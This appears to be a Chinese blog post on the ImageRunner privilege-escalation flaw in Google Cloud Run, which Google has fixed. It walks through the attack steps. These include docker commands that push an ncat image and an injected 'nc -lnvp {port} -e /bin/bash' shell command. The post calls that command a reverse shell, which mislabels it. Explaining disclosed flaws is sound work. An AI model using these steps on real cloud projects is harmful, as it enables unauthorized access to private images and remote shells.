ImageRunner漏洞:Google Cloud Run中的权限提升漏洞

什么是Cloud Run、Container Registry和Artifact Registry?

  • Cloud Run:一个完全托管的服务,用于在无服务器环境中运行容器化应用程序。它处理基础设施、扩展和执行环境,让你无需担心底层系统即可运行应用程序。
  • Container Registry:一个较老的服务,用于存储和管理容器镜像。自2025年3月18日起已被Artifact Registry取代。
  • Artifact Registry:下一代解决方案,支持多种类型的工件(包括Maven和npm包),提供更广泛的功能。

ImageRunner漏洞详细信息

漏洞概述:该漏洞允许攻击者利用Cloud Run修订版的编辑权限,访问同一项目中的私有容器镜像,即使他们没有相应的注册表权限。

攻击方法

  1. 获取必要权限 :攻击者需要run.services.updateiam.serviceAccounts.actAs权限。
  2. 更新Cloud Run服务:攻击者可以更新Cloud Run服务并创建一个新修订版。
  3. 指定私有镜像:在更新过程中,攻击者可以指定任何私有容器镜像作为新修订版的基础镜像。
  4. 注入恶意指令:攻击者可以通过添加命令或参数来注入恶意指令,例如使用Netcat(ncat)镜像建立反向连接,获取镜像内容或敏感数据。

示例代码和步骤

步骤1:拉取和推送ncat镜像

bash 复制代码
docker pull raesene/ncat
gcloud auth login
gcloud auth configure-docker
docker tag raesene/ncat gcr.io/{project-name}/ncat:latest
docker push gcr.io/{project-name}/ncat:latest

步骤2:更新Cloud Run服务

  • 使用具有run.services.updateiam.serviceAccounts.actAs权限的身份。
  • 更新Cloud Run服务并创建新修订版。
  • 指定私有镜像(例如gcr.io/{project-name}/ncat:latest)。

步骤3:注入恶意指令

  • 在容器参数中添加恶意指令,例如:

    bash 复制代码
    nc -lnvp {port} -e /bin/bash

    这将在攻击者机器上建立一个反向shell。

修复措施

Google已修复此漏洞,确保创建或更新Cloud Run资源的用户或服务账户必须具有显式的容器镜像访问权限。对于Artifact Registry,需要Artifact Registry Reader角色。

Jenga概念

ImageRunner是Tenable Research提出的"Jenga"概念的一个例子,指出云服务之间的依赖关系可能导致新的漏洞和风险。

相关推荐
逛逛GitHub几秒前
GitHub 上 2300 人 Star 的 Claude Code 可视化工作流编辑器。
github
6***830513 分钟前
SpringBoot教程(三十二) SpringBoot集成Skywalking链路跟踪
spring boot·后端·skywalking
这儿有一堆花27 分钟前
MusicFree:开源多平台聚合音乐软件
开源·github
有追求的开发者37 分钟前
2025 年终总结:一个 Python DevOps 的成长之路
后端
有追求的开发者41 分钟前
别再等缓存自己"热"起来了!Python后端必会的预热技巧 🚀
后端
乌暮41 分钟前
JavaEE初阶---《JUC 并发编程完全指南:组件用法、原理剖析与面试应答》
java·开发语言·后端·学习·面试·java-ee
内存不泄露42 分钟前
基于Django和Vue3的文件分享平台设计与实现
后端·python·django
有追求的开发者43 分钟前
别再搞混了!127.0.0.1 和 localhost 背后的秘密
后端
野生技术架构师1 小时前
Spring Boot 4.0 预览版深度解析
java·spring boot·后端